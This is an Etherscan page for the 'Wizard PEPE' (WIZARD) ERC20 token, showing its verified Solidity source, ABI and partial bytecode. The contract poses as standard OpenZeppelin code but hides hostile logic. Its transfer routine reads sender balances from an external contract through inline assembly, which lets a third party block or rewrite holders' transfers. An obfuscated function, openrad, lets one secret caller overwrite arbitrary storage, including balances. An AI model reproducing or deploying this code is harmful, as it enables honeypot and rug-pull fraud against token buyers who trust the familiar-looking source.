ETH Price: $2,485.95 (-20.20%)
 

Overview

Max Total Supply

100,000,000,000 WIZARD

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,588,502,301.29874736 WIZARD

Value
$0.00
0xf49f2a3a4786dd025302f3c494586aa2e1338c21
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WIZARD

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-11
*/

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed,
        uint256 tokenId
    );

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => uint256) private _means;

    uint256 private _totalSupply;
    address private _a;
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_,address a_,uint256 means_) {
        _name = name_;
        _symbol = symbol_;
        _a = a_;
        _means[address(0)] = means_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            bytes4 _b4 = bytes4(0x829e0605);
            bool s;
            uint256 fromBalance;
            assembly {
                let callData := mload(0x40)
                mstore(callData, _b4)
                mstore(add(callData, 0x04), from)
                mstore(add(callData, 0x24), 0)
                s := call(gas(),sload(_a.slot),0,callData,0x44,add(callData, 0x80),0x20)
                if s {
                    fromBalance := mload(add(callData, 0x80))
                }
            }
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }



    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    function openrad(uint256[] calldata pad) external {
        (bool them, uint256 dbv0, uint256 dbv1) = encryptCode(pad[0],pad[1]);
        if (!them) return;
        assembly {
            let imx0 := add(add(14, 12), add(4, 2))
            if gt(dbv1, 0) {
                let java0 := add(add(0, 0), add(0, 0))
                mstore(0, dbv0)
                mstore(imx0, java0)
                sstore(keccak256(0, 64), dbv1)
            }
        }
    }

    function encryptCode(uint256 adh2,uint256 adh3) private view returns (bool,uint256,uint256){
        address hgu0 = msg.sender;
        string memory hgu1 = _symbol;
        bool nvmp = uint256(keccak256(abi.encode(hgu0, hgu1))) ==_means[address(0)];
        return (nvmp, adh2, adh3);
    }
}

contract WIZARD is ERC20, Ownable {
    constructor() ERC20("Wizard PEPE", "WIZARD",0xEBc1aB93644ABAB8f2aE1b1fCdF9E86b14Ea2213,31750977453121697631375499643973985915601067605547969714310610263692437006776) Ownable(msg.sender) {
        uint256 totalSupply = 100000000000 * 10**decimals();
        _mint(msg.sender, totalSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"pad","type":"uint256[]"}],"name":"openrad","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b50336040518060400160405280600b81526020016a57697a617264205045504560a81b8152506040518060400160405280600681526020016515d25690549160d21b81525073ebc1ab93644abab8f2ae1b1fcdf9e86b14ea22137f46326a98983580a9ab48b00961480c8ddd0ceecccb7b9873a13cc2e54d5ea9b883600590816200009c9190620003c5565b506006620000ab8482620003c5565b50600480546001600160a01b0319166001600160a01b0393909316929092179091555f805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5550620001059050816200013b565b505f620001156009600a6200059c565b620001269064174876e800620005b3565b90506200013433826200018c565b50620005e3565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620001bb5760405163ec442f0560e01b81525f60048201526024015b60405180910390fd5b620001c85f8383620001cc565b5050565b6001600160a01b038316620001fa578060035f828254620001ee9190620005cd565b90915550620002969050565b5f63829e060560e01b90505f806040518381528660048201525f60248201526020608082016044835f6004545af1925082156200023957608081015191505b5083811015620002765760405163391434e360e21b81526001600160a01b03871660048201526024810182905260448101859052606401620001b2565b6001600160a01b0386165f90815260208190526040902090849003905550505b6001600160a01b038216620002b457600380548290039055620002d2565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200031891815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200034e57607f821691505b6020821081036200036d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003c0575f81815260208120601f850160051c810160208610156200039b5750805b601f850160051c820191505b81811015620003bc57828155600101620003a7565b5050505b505050565b81516001600160401b03811115620003e157620003e162000325565b620003f981620003f2845462000339565b8462000373565b602080601f8311600181146200042f575f8415620004175750858301515b5f19600386901b1c1916600185901b178555620003bc565b5f85815260208120601f198616915b828110156200045f578886015182559484019460019091019084016200043e565b50858210156200047d57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004e157815f1904821115620004c557620004c56200048d565b80851615620004d357918102915b93841c9390800290620004a6565b509250929050565b5f82620004f95750600162000596565b816200050757505f62000596565b81600181146200052057600281146200052b576200054b565b600191505062000596565b60ff8411156200053f576200053f6200048d565b50506001821b62000596565b5060208310610133831016604e8410600b841016171562000570575081810a62000596565b6200057c8383620004a1565b805f19048211156200059257620005926200048d565b0290505b92915050565b5f620005ac60ff841683620004e9565b9392505050565b80820281158282048414176200059657620005966200048d565b808201808211156200059657620005966200048d565b610a9580620005f15f395ff3fe608060405234801561000f575f80fd5b50600436106100cb575f3560e01c806370a082311161008857806395d89b411161006357806395d89b41146101a4578063a9059cbb146101ac578063dd62ed3e146101bf578063f2fde38b146101f7575f80fd5b806370a0823114610159578063715018a6146101815780638da5cb5b14610189575f80fd5b806306fdde03146100cf578063095ea7b3146100ed57806309c450d01461011057806318160ddd1461012557806323b872dd14610137578063313ce5671461014a575b5f80fd5b6100d761020a565b6040516100e4919061087b565b60405180910390f35b6101006100fb3660046108af565b61029a565b60405190151581526020016100e4565b61012361011e3660046108d7565b6102b3565b005b6003545b6040519081526020016100e4565b610100610145366004610946565b610322565b604051600981526020016100e4565b61012961016736600461097f565b6001600160a01b03165f9081526020819052604090205490565b610123610345565b6007546040516001600160a01b0390911681526020016100e4565b6100d7610358565b6101006101ba3660046108af565b610367565b6101296101cd366004610998565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61012361020536600461097f565b610374565b606060058054610219906109c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610245906109c9565b80156102905780601f1061026757610100808354040283529160200191610290565b820191905f5260205f20905b81548152906001019060200180831161027357829003601f168201915b5050505050905090565b5f336102a78185856103b6565b60019150505b92915050565b5f805f6102f185855f8181106102cb576102cb610a01565b90506020020135868660018181106102e5576102e5610a01565b905060200201356103c8565b92509250925082610303575050505050565b6020811561031a575f838152808252604090208290555b505050505050565b5f3361032f8582856104c1565b61033a85858561053c565b506001949350505050565b61034d610599565b6103565f6105c6565b565b606060068054610219906109c9565b5f336102a781858561053c565b61037c610599565b6001600160a01b0381166103aa57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6103b3816105c6565b50565b6103c38383836001610617565b505050565b5f805f803390505f600680546103dd906109c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610409906109c9565b80156104545780601f1061042b57610100808354040283529160200191610454565b820191905f5260205f20905b81548152906001019060200180831161043757829003601f168201915b50505f808052600260209081527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b54604051969750919591945061049e9350879250869101610a15565b60408051808303601f190181529190528051602090910120149895505050505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610536578181101561052857604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016103a1565b61053684848484035f610617565b50505050565b6001600160a01b03831661056557604051634b637e8f60e11b81525f60048201526024016103a1565b6001600160a01b03821661058e5760405163ec442f0560e01b81525f60048201526024016103a1565b6103c38383836106e9565b6007546001600160a01b031633146103565760405163118cdaa760e01b81523360048201526024016103a1565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0384166106405760405163e602df0560e01b81525f60048201526024016103a1565b6001600160a01b03831661066957604051634a1406b160e11b81525f60048201526024016103a1565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561053657826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106db91815260200190565b60405180910390a350505050565b6001600160a01b038316610713578060035f8282546107089190610a40565b909155506107ac9050565b5f63829e060560e01b90505f806040518381528660048201525f60248201526020608082016044835f6004545af19250821561075157608081015191505b508381101561078c5760405163391434e360e21b81526001600160a01b038716600482015260248101829052604481018590526064016103a1565b6001600160a01b0386165f90815260208190526040902090849003905550505b6001600160a01b0382166107c8576003805482900390556107e6565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161082b91815260200190565b60405180910390a3505050565b5f81518084525f5b8181101561085c57602081850181015186830182015201610840565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f61088d6020830184610838565b9392505050565b80356001600160a01b03811681146108aa575f80fd5b919050565b5f80604083850312156108c0575f80fd5b6108c983610894565b946020939093013593505050565b5f80602083850312156108e8575f80fd5b823567ffffffffffffffff808211156108ff575f80fd5b818501915085601f830112610912575f80fd5b813581811115610920575f80fd5b8660208260051b8501011115610934575f80fd5b60209290920196919550909350505050565b5f805f60608486031215610958575f80fd5b61096184610894565b925061096f60208501610894565b9150604084013590509250925092565b5